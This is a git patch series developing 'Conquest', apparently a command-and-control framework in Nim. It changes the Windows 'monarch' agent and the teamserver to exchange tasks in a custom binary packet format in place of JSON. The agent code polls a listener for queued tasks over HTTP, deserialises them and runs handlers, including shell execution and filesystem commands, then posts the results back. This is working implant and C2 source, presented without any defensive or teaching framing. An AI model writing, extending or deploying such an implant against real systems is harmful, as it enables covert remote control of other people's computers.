-proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
+proc getTasks*(config: AgentConfig, agent: string): string =
- # let client = newAsyncHttpClient()
- # var responseBody = ""
+ let client = newAsyncHttpClient()
+ var responseBody = ""
- # try:
- # # Register agent to the Conquest server
- # responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
- # return parseJson(responseBody).to(seq[Task])
+ try:
+ # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
+ responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
+ return responseBody
+
+ except CatchableError as err:
+ # When the listener is not reachable, don't kill the application, but check in at the next time
+ echo "[-] [getTasks]: Listener not reachable."
+
+ finally:
+ client.close()
- # except CatchableError as err:
- # # When the listener is not reachable, don't kill the application, but check in at the next time
- # echo "[-] [getTasks]: ", responseBody
- # finally:
- # client.close()
-
- return @[]
+ return ""
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim
index 069934f..67e5760 100644
--- a/src/agents/monarch/monarch.nim
+++ b/src/agents/monarch/monarch.nim
@@ -1,7 +1,8 @@
import strformat, os, times
import winim
-import ./[types, http, taskHandler]
+import ./[types, http]
+import task/handler, task/parser
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -57,16 +58,22 @@ proc main() =
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
- # Retrieve task queue from the teamserver for the current agent
- let tasks: seq[Task] = config.getTasks(agent)
+ # Retrieve task queue for the current agent
+ let packet: string = config.getTasks(agent)
- if tasks.len <= 0:
- echo "[*] No tasks to execute."
- continue
+ if packet.len <= 0:
+ echo "No tasks to execute."
+ continue
+
+ let tasks: seq[Task] = deserializePacket(packet)
+ if tasks.len <= 0:
+ echo "No tasks to execute."
+ continue
+
# Execute all retrieved tasks and return their output to the server
for task in tasks:
- let result: TaskResult = task.handleTask(config)
+ let result: TaskResult = config.handleTask(task)
discard config.postResults(agent, result)
when isMainModule:
diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg
index 83ee299..932c1d0 100644
--- a/src/agents/monarch/nim.cfg
+++ b/src/agents/monarch/nim.cfg
@@ -5,4 +5,4 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
--d:SleepDelay=1
+-d:SleepDelay=3
diff --git a/src/agents/monarch/taskHandler.nim b/src/agents/monarch/task/handler.nim
similarity index 81%
rename from src/agents/monarch/taskHandler.nim
rename to src/agents/monarch/task/handler.nim
index 5cd774c..c2754c9 100644
--- a/src/agents/monarch/taskHandler.nim
+++ b/src/agents/monarch/task/handler.nim
@@ -1,11 +1,13 @@
import strutils, tables, json
-import ./common/types
-import ./commands/commands
+import ../types
+import ../commands/commands
+import sugar
-proc handleTask*(task: Task, config: AgentConfig): TaskResult =
-
- var taskResult: TaskResult
+proc handleTask*(config: AgentConfig, task: Task): TaskResult =
+ dump task
+
+ # var taskResult = TaskResult
# let handlers = {
# CMD_SLEEP: taskSleep,
# CMD_SHELL: taskShell,
diff --git a/src/agents/monarch/task/parser.nim b/src/agents/monarch/task/parser.nim
new file mode 100644
index 0000000..3b19e1c
--- /dev/null
+++ b/src/agents/monarch/task/parser.nim
@@ -0,0 +1,90 @@
+import strutils, strformat
+
+import ../types
+import ../utils
+import ../../../common/types
+import ../../../common/serialize
+
+proc deserializeTask*(bytes: seq[byte]): Task =
+
+ var unpacker = initUnpacker(bytes.toString)
+
+ let
+ magic = unpacker.getUint32()
+ version = unpacker.getUint8()
+ packetType = unpacker.getUint8()
+ flags = unpacker.getUint16()
+ seqNr = unpacker.getUint32()
+ size = unpacker.getUint32()
+ hmacBytes = unpacker.getBytes(16)
+
+ # Explicit conversion from seq[byte] to array[16, byte]
+ var hmac: array[16, byte]
+ copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
+
+ # Packet Validation
+ if magic != MAGIC:
+ raise newException(CatchableError, "Invalid magic bytes.")
+
+ # TODO: Validate sequence number
+
+ # TODO: Validate HMAC
+
+ # TODO: Decrypt payload
+ # let payload = unpacker.getBytes(size)
+
+ let
+ taskId = unpacker.getUint32()
+ agentId = unpacker.getUint32()
+ listenerId = unpacker.getUint32()
+ timestamp = unpacker.getUint32()
+ command = unpacker.getUint16()
+
+ var argCount = unpacker.getUint8()
+ var args = newSeq[TaskArg](argCount)
+
+ # Parse arguments
+ while argCount > 0:
+ args.add(unpacker.getArgument())
+ dec argCount
+
+ return Task(
+ header: Header(
+ magic: magic,
+ version: version,
+ packetType: packetType,
+ flags: flags,
+ seqNr: seqNr,
+ size: size,
+ hmac: hmac
+ ),
+ taskId: taskId,
+ agentId: agentId,
+ listenerId: listenerId,
+ timestamp: timestamp,
+ command: command,
+ argCount: argCount,
+ args: args
+ )
+
+proc deserializePacket*(packet: string): seq[Task] =
+
+ result = newSeq[Task]()
+
+ var unpacker = initUnpacker(packet)
+
+ var taskCount = unpacker.getUint8()
+ echo fmt"[*] Response contained {taskCount} tasks."
+ if taskCount <= 0:
+ return @[]
+
+ while taskCount > 0:
+
+ # Read length of each task and store the task object in a seq[byte]
+ let
+ taskLength = unpacker.getUint32()
+ taskBytes = unpacker.getBytes(int(taskLength))
+
+ result.add(deserializeTask(taskBytes))
+
+ dec taskCount
\ No newline at end of file
diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/types.nim
index 1153c0e..736d1df 100644
--- a/src/agents/monarch/types.nim
+++ b/src/agents/monarch/types.nim
@@ -1,6 +1,6 @@
import winim
import ../../common/types
-export Task, CommandType, TaskResult, StatusType
+export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult
type
ProductType* = enum
diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim
index 415729f..601e04f 100644
--- a/src/agents/monarch/utils.nim
+++ b/src/agents/monarch/utils.nim
@@ -1,5 +1,5 @@
import strformat
-import ./common/types
+import ./types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
@@ -62,4 +62,9 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin
else:
discard
- return "Unknown Windows Version"
\ No newline at end of file
+ return "Unknown Windows Version"
+
+proc toString*(data: seq[byte]): string =
+ result = newString(data.len)
+ for i, b in data:
+ result[i] = char(b)
\ No newline at end of file
diff --git a/src/common/serialize.nim b/src/common/serialize.nim
index 8d153ab..8d184b0 100644
--- a/src/common/serialize.nim
+++ b/src/common/serialize.nim
@@ -3,28 +3,18 @@ import ./types
type
Packer* = ref object
- headerStream: StringStream
- payloadStream: StringStream
+ stream: StringStream
proc initTaskPacker*(): Packer =
result = new Packer
- result.headerStream = newStringStream()
- result.payloadStream = newStringStream()
+ result.stream = newStringStream()
-proc addToHeader*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
- packer.headerStream.write(value)
+proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
+ packer.stream.write(value)
return packer
-proc addToPayload*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
- packer.payloadStream.write(value)
- return packer
-
-proc addDataToHeader*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
- packer.headerStream.writeData(data[0].unsafeAddr, data.len)
- return packer
-
-proc addDataToPayload*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
- packer.payloadStream.writeData(data[0].unsafeAddr, data.len)
+proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
+ packer.stream.writeData(data[0].unsafeAddr, data.len)
return packer
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
@@ -33,34 +23,79 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
# Optional argument was passed as "", ignore
return
- packer.addToPayload(arg.argType)
+ packer.add(arg.argType)
case arg.argType:
of cast[uint8](STRING), cast[uint8](BINARY):
# Add length for variable-length data types
- packer.addToPayload(cast[uint32](arg.data.len))
- packer.addDataToPayload(arg.data)
+ packer.add(cast[uint32](arg.data.len))
+ packer.addData(arg.data)
else:
- packer.addDataToPayload(arg.data)
+ packer.addData(arg.data)
return packer
-proc packPayload*(packer: Packer): seq[byte] =
- packer.payloadStream.setPosition(0)
- let data = packer.payloadStream.readAll()
+proc pack*(packer: Packer): seq[byte] =
+ packer.stream.setPosition(0)
+ let data = packer.stream.readAll()
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
- packer.payloadStream.setPosition(0)
+ packer.stream.setPosition(0)
-proc packHeader*(packer: Packer): seq[byte] =
- packer.headerStream.setPosition(0)
- let data = packer.headerStream.readAll()
+proc reset*(packer: Packer): Packer {.discardable.} =
+ packer.stream.close()
+ packer.stream = newStringStream()
+ return packer
+
+type
+ Unpacker* = ref object
+ stream: StringStream
+ position: int
+
+proc initUnpacker*(data: string): Unpacker =
+ result = new Unpacker
+ result.stream = newStringStream(data)
+ result.position = 0
+
+proc getUint8*(unpacker: Unpacker): uint8 =
+ result = unpacker.stream.readUint8()
+ unpacker.position += 1
+
+proc getUint16*(unpacker: Unpacker): uint16 =
+ result = unpacker.stream.readUint16()
+ unpacker.position += 2
+
+proc getUint32*(unpacker: Unpacker): uint32 =
+ result = unpacker.stream.readUint32()
+ unpacker.position += 4
+
+proc getUint64*(unpacker: Unpacker): uint64 =
+ result = unpacker.stream.readUint64()
+ unpacker.position += 8
+
+proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
+ result = newSeq[byte](length)
+ let bytesRead = unpacker.stream.readData(result[0].addr, length)
+ unpacker.position += bytesRead
- # Convert string to seq[byte]
- result = newSeq[byte](data.len)
- for i, c in data:
- result[i] = byte(c.ord)
+ if bytesRead != length:
+ raise newException(IOError, "Not enough data to read")
+
+proc getArgument*(unpacker: Unpacker): TaskArg =
+ result.argType = unpacker.getUint8()
- packer.headerStream.setPosition(0)
\ No newline at end of file
+ case result.argType:
+ of cast[uint8](STRING), cast[uint8](BINARY):
+ # Variable-length fields are prefixed with the content-length
+ let length = unpacker.getUint32()
+ result.data = unpacker.getBytes(int(length))
+ of cast[uint8](INT):
+ result.data = unpacker.getBytes(4)
+ of cast[uint8](LONG):
+ result.data = unpacker.getBytes(8)
+ of cast[uint8](BOOL):
+ result.data = unpacker.getBytes(1)
+ else:
+ discard
\ No newline at end of file
diff --git a/src/common/types.nim b/src/common/types.nim
index ab45159..34ad10c 100644
--- a/src/common/types.nim
+++ b/src/common/types.nim
@@ -5,9 +5,9 @@ import streams
# Custom Binary Task structure
const
- MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
- VERSION* = 1'u8 # Version 1l
- HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size
+ MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
+ VERSION* = 1'u8 # Version 1
+ HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size
type
PacketType* = enum
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index f471d32..500e0bd 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -1,10 +1,15 @@
-import prologue, json
-import sequtils, strutils, times
+import prologue, json, terminal, strformat
+import sequtils, strutils, times, base64
import ./handlers
-import ../utils
+import ../[utils, globals]
import ../../common/types
+proc encode(bytes: seq[seq[byte]]): string =
+ result = ""
+ for task in bytes:
+ result &= encode(task)
+
proc error404*(ctx: Context) {.async.} =
resp "", Http404
@@ -88,12 +93,34 @@ proc getTasks*(ctx: Context) {.async.} =
agent = ctx.getPathParams("agent")
try:
+ var response: seq[byte]
let tasks = getTasks(listener, agent)
- resp $tasks
+
+ if tasks.len <= 0:
+ resp "", Http200
+ return
+
+ # Create response, containing number of tasks, as well as length and content of each task
+ # This makes it easier for the agent to parse the tasks
+ response.add(uint8(tasks.len))
+
+ for task in tasks:
+ response.add(uint32(task.len).toBytes())
+ response.add(task)
+
+ await ctx.respond(
+ code = Http200,
+ body = response.toString()
+ )
+
+ # Notify operator that agent collected tasks
+ {.cast(gcsafe).}:
+ let date = now().format("dd-MM-yyyy HH:mm:ss")
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.")
+
except CatchableError:
resp "", Http404
-
#[
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
Called from agent to post results of a task
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index 14dc62e..7e0caa7 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -179,6 +179,8 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
task = cq.parseTask(command, parsedArgs[1..^1])
taskData: seq[byte] = cq.serializeTask(task)
+ # cq.writeLine(taskData.toHexDump())
+
# Add task to queue
cq.interactAgent.tasks.add(taskData)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim
index ba546bf..68c829e 100644
--- a/src/server/task/packer.nim
+++ b/src/server/task/packer.nim
@@ -9,31 +9,32 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
# Serialize payload
packer
- .addToPayload(task.taskId)
- .addToPayload(task.agentId)
- .addToPayload(task.listenerId)
- .addToPayload(task.timestamp)
- .addToPayload(task.command)
- .addToPayload(task.argCount)
+ .add(task.taskId)
+ .add(task.agentId)
+ .add(task.listenerId)
+ .add(task.timestamp)
+ .add(task.command)
+ .add(task.argCount)
for arg in task.args:
packer.addArgument(arg)
- let payload = packer.packPayload()
+ let payload = packer.pack()
+ packer.reset()
# TODO: Encrypt payload body
# Serialize header
packer
- .addToHeader(task.header.magic)
- .addToHeader(task.header.version)
- .addToHeader(task.header.packetType)
- .addToHeader(task.header.flags)
- .addToHeader(task.header.seqNr)
- .addToHeader(cast[uint32](payload.len))
- .addDataToHeader(task.header.hmac)
+ .add(task.header.magic)
+ .add(task.header.version)
+ .add(task.header.packetType)
+ .add(task.header.flags)
+ .add(task.header.seqNr)
+ .add(cast[uint32](payload.len))
+ .addData(task.header.hmac)
- let header = packer.packHeader()
+ let header = packer.pack()
# TODO: Calculate and patch HMAC
diff --git a/src/server/utils.nim b/src/server/utils.nim
index 8f4257e..b6cb842 100644
--- a/src/server/utils.nim
+++ b/src/server/utils.nim
@@ -26,6 +26,11 @@ proc uuidToUint32*(uuid: string): uint32 =
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
+proc toString*(data: seq[byte]): string =
+ result = newString(data.len)
+ for i, b in data:
+ result[i] = char(b)
+
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))
@@ -35,6 +40,20 @@ proc toHexDump*(data: seq[byte]): string =
else:
result.add(" ") # Regular space
+proc toBytes*(value: uint16): seq[byte] =
+ return @[
+ byte(value and 0xFF),
+ byte((value shr 8) and 0xFF)
+ ]
+
+proc toBytes*(value: uint32): seq[byte] =
+ return @[
+ byte(value and 0xFF),
+ byte((value shr 8) and 0xFF),
+ byte((value shr 16) and 0xFF),
+ byte((value shr 24) and 0xFF)
+ ]
+
# Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args)
From 99f55cc04fb2b6c399564b212d774c5f08d11f92 Mon Sep 17 00:00:00 2001
From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com>
Date: Sat, 19 Jul 2025 16:49:27 +0200
Subject: [PATCH 3/4] Implemented communication with custom binary structure
instead of JSON requests
---
.../monarch/{types.nim => agentTypes.nim} | 2 -
src/agents/monarch/agentinfo.nim | 6 +-
src/agents/monarch/commands/commands.nim | 4 +-
src/agents/monarch/commands/filesystem.nim | 476 ++++++++----------
src/agents/monarch/commands/shell.nim | 53 +-
src/agents/monarch/commands/sleep.nim | 40 +-
src/agents/monarch/http.nim | 39 +-
src/agents/monarch/monarch.nim | 14 +-
src/agents/monarch/task/handler.nim | 43 +-
.../monarch/task/{parser.nim => packer.nim} | 58 ++-
src/agents/monarch/task/result.nim | 25 +
src/agents/monarch/utils.nim | 26 +-
src/common/serialize.nim | 20 +-
src/common/types.nim | 3 +-
src/server/api/handlers.nim | 58 ++-
src/server/api/routes.nim | 14 +-
src/server/task/dispatcher.nim | 7 +-
src/server/task/packer.nim | 64 ++-
src/server/utils.nim | 5 +
19 files changed, 524 insertions(+), 433 deletions(-)
rename src/agents/monarch/{types.nim => agentTypes.nim} (82%)
rename src/agents/monarch/task/{parser.nim => packer.nim} (63%)
create mode 100644 src/agents/monarch/task/result.nim
diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/agentTypes.nim
similarity index 82%
rename from src/agents/monarch/types.nim
rename to src/agents/monarch/agentTypes.nim
index 736d1df..4585648 100644
--- a/src/agents/monarch/types.nim
+++ b/src/agents/monarch/agentTypes.nim
@@ -1,6 +1,4 @@
import winim
-import ../../common/types
-export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult
type
ProductType* = enum
diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/agentinfo.nim
index b559a66..f188cad 100644
--- a/src/agents/monarch/agentinfo.nim
+++ b/src/agents/monarch/agentinfo.nim
@@ -1,6 +1,6 @@
import winim, os, net, strformat, strutils, registry
-import ./[types, utils]
+import ./[agentTypes, utils]
# Hostname/Computername
proc getHostname*(): string =
@@ -88,11 +88,11 @@ proc getProductType(): ProductType =
proc getOSVersion*(): string =
- proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
+ proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
- var osInfo: types.OSVersionInfoExW
+ var osInfo: agentTypes.OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim
index b4f7498..aea0d4d 100644
--- a/src/agents/monarch/commands/commands.nim
+++ b/src/agents/monarch/commands/commands.nim
@@ -1,3 +1,3 @@
-# import ./[shell, sleep, filesystem]
+import ./[shell, sleep, filesystem]
-# export shell, sleep, filesystem
\ No newline at end of file
+export shell, sleep, filesystem
\ No newline at end of file
diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim
index b3127a8..8974dd8 100644
--- a/src/agents/monarch/commands/filesystem.nim
+++ b/src/agents/monarch/commands/filesystem.nim
@@ -1,332 +1,270 @@
-# import os, strutils, strformat, base64, winim, times, algorithm, json
+import os, strutils, strformat, winim, times, algorithm
-# import ../common/types
+import ../[agentTypes, utils]
+import ../task/result
+import ../../../common/types
-# # Retrieve current working directory
-# proc taskPwd*(task: Task): TaskResult =
+# Retrieve current working directory
+proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Retrieving current working directory."
+ echo fmt" [>] Retrieving current working directory."
-# try:
+ try:
+ # Get current working directory using GetCurrentDirectory
+ let
+ buffer = newWString(MAX_PATH + 1)
+ length = GetCurrentDirectoryW(MAX_PATH, &buffer)
-# # Get current working directory using GetCurrentDirectory
-# let
-# buffer = newWString(MAX_PATH + 1)
-# length = GetCurrentDirectoryW(MAX_PATH, &buffer)
-
-# if length == 0:
-# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+ if length == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode($buffer[0 ..< (int)length] & "\n"),
-# status: Completed
-# )
+ let output = $buffer[0 ..< (int)length] & "\n"
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Change working directory
-# proc taskCd*(task: Task): TaskResult =
-# # Parse arguments
-# let targetDirectory = parseJson(task.args)["directory"].getStr()
+# Change working directory
+proc taskCd*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Changing current working directory to {targetDirectory}."
+ # Parse arguments
+ let targetDirectory = task.args[0].data.toString()
-# try:
-# # Get current working directory using GetCurrentDirectory
-# if SetCurrentDirectoryW(targetDirectory) == FALSE:
-# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+ echo fmt" [>] Changing current working directory to {targetDirectory}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ # Get current working directory using GetCurrentDirectory
+ if SetCurrentDirectoryW(targetDirectory) == FALSE:
+ raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # List files and directories at a specific or at the current path
-# proc taskDir*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# var targetDirectory = parseJson(task.args)["directory"].getStr()
-# echo fmt"Listing files and directories."
+# List files and directories at a specific or at the current path
+proc taskDir*(config: AgentConfig, task: Task): TaskResult =
-# try:
-# # Check if users wants to list files in the current working directory or at another path
+ try:
+ var targetDirectory: string
-# if targetDirectory == "":
-# # Get current working directory using GetCurrentDirectory
-# let
-# cwdBuffer = newWString(MAX_PATH + 1)
-# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
+ # Parse arguments
+ case int(task.argCount):
+ of 0:
+ # Get current working directory using GetCurrentDirectory
+ let
+ cwdBuffer = newWString(MAX_PATH + 1)
+ cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
-# if cwdLength == 0:
-# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+ if cwdLength == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
-
-# # Prepare search pattern (target directory + \*)
-# let searchPattern = targetDirectory & "\\*"
-# let searchPatternW = newWString(searchPattern)
-
-# var
-# findData: WIN32_FIND_DATAW
-# hFind: HANDLE
-# output = ""
-# entries: seq[string] = @[]
-# totalFiles = 0
-# totalDirs = 0
-
-# # Find files and directories in target directory
-# hFind = FindFirstFileW(searchPatternW, &findData)
-
-# if hFind == INVALID_HANDLE_VALUE:
-# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
-
-# # Directory was found and can be listed
-# else:
-# output = fmt"Directory: {targetDirectory}" & "\n\n"
-# output &= "Mode LastWriteTime Length Name" & "\n"
-# output &= "---- ------------- ------ ----" & "\n"
+ targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
+
+ of 1:
+ targetDirectory = task.args[0].data.toString()
+ else:
+ discard
+
+ echo fmt" [>] Listing files and directories in {targetDirectory}."
-# # Process all files and directories
-# while true:
-# let fileName = $cast[WideCString](addr findData.cFileName[0])
+ # Prepare search pattern (target directory + \*)
+ let searchPattern = targetDirectory & "\\*"
+ let searchPatternW = newWString(searchPattern)
+
+ var
+ findData: WIN32_FIND_DATAW
+ hFind: HANDLE
+ output = ""
+ entries: seq[string] = @[]
+ totalFiles = 0
+ totalDirs = 0
+
+ # Find files and directories in target directory
+ hFind = FindFirstFileW(searchPatternW, &findData)
+
+ if hFind == INVALID_HANDLE_VALUE:
+ raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
+
+ # Directory was found and can be listed
+ else:
+ output = fmt"Directory: {targetDirectory}" & "\n\n"
+ output &= "Mode LastWriteTime Length Name" & "\n"
+ output &= "---- ------------- ------ ----" & "\n"
+
+ # Process all files and directories
+ while true:
+ let fileName = $cast[WideCString](addr findData.cFileName[0])
-# # Skip current and parent directory entries
-# if fileName != "." and fileName != "..":
-# # Get file attributes and size
-# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
-# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
-# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
-# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
-# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
+ # Skip current and parent directory entries
+ if fileName != "." and fileName != "..":
+ # Get file attributes and size
+ let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
+ let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
+ let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
+ let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
+ let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
-# # Handle flags
-# var mode = ""
-# if isDir:
-# mode = "d"
-# inc totalDirs
-# else:
-# mode = "-"
-# inc totalFiles
+ # Handle flags
+ var mode = ""
+ if isDir:
+ mode = "d"
+ inc totalDirs
+ else:
+ mode = "-"
+ inc totalFiles
-# if isArchive:
-# mode &= "a"
-# else:
-# mode &= "-"
+ if isArchive:
+ mode &= "a"
+ else:
+ mode &= "-"
-# if isReadOnly:
-# mode &= "r"
-# else:
-# mode &= "-"
+ if isReadOnly:
+ mode &= "r"
+ else:
+ mode &= "-"
-# if isHidden:
-# mode &= "h"
-# else:
-# mode &= "-"
+ if isHidden:
+ mode &= "h"
+ else:
+ mode &= "-"
-# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
-# mode &= "s"
-# else:
-# mode &= "-"
+ if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
+ mode &= "s"
+ else:
+ mode &= "-"
-# # Convert FILETIME to local time and format
-# var
-# localTime: FILETIME
-# systemTime: SYSTEMTIME
-# dateTimeStr = "01/01/1970 00:00:00"
+ # Convert FILETIME to local time and format
+ var
+ localTime: FILETIME
+ systemTime: SYSTEMTIME
+ dateTimeStr = "01/01/1970 00:00:00"
-# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
-# # Format date and time in PowerShell style
-# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
+ if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
+ # Format date and time in PowerShell style
+ dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
-# # Format file size
-# var sizeStr = ""
-# if isDir:
-# sizeStr = ""
-# else:
-# sizeStr = ($fileSize).replace("-", "")
+ # Format file size
+ var sizeStr = ""
+ if isDir:
+ sizeStr = ""
+ else:
+ sizeStr = ($fileSize).replace("-", "")
-# # Build the entry line
-# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
-# entries.add(entryLine)
+ # Build the entry line
+ let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
+ entries.add(entryLine)
-# # Find next file
-# if FindNextFileW(hFind, &findData) == 0:
-# break
+ # Find next file
+ if FindNextFileW(hFind, &findData) == 0:
+ break
-# # Close find handle
-# discard FindClose(hFind)
+ # Close find handle
+ discard FindClose(hFind)
-# # Add entries to output after sorting them (directories first, files afterwards)
-# entries.sort do (a, b: string) -> int:
-# let aIsDir = a[0] == 'd'
-# let bIsDir = b[0] == 'd'
+ # Add entries to output after sorting them (directories first, files afterwards)
+ entries.sort do (a, b: string) -> int:
+ let aIsDir = a[0] == 'd'
+ let bIsDir = b[0] == 'd'
-# if aIsDir and not bIsDir:
-# return -1
-# elif not aIsDir and bIsDir:
-# return 1
-# else:
-# # Extract filename for comparison (last part after the last space)
-# let aParts = a.split(" ")
-# let bParts = b.split(" ")
-# let aName = aParts[^1]
-# let bName = bParts[^1]
-# return cmp(aName.toLowerAscii(), bName.toLowerAscii())
+ if aIsDir and not bIsDir:
+ return -1
+ elif not aIsDir and bIsDir:
+ return 1
+ else:
+ # Extract filename for comparison (last part after the last space)
+ let aParts = a.split(" ")
+ let bParts = b.split(" ")
+ let aName = aParts[^1]
+ let bName = bParts[^1]
+ return cmp(aName.toLowerAscii(), bName.toLowerAscii())
-# for entry in entries:
-# output &= entry & "\n"
+ for entry in entries:
+ output &= entry & "\n"
-# # Add summary of how many files/directories have been found
-# output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
-# output &= fmt"{totalDirs} dir(s)" & "\n"
+ # Add summary of how many files/directories have been found
+ output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
+ output &= fmt"{totalDirs} dir(s)" & "\n"
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(output),
-# status: Completed
-# )
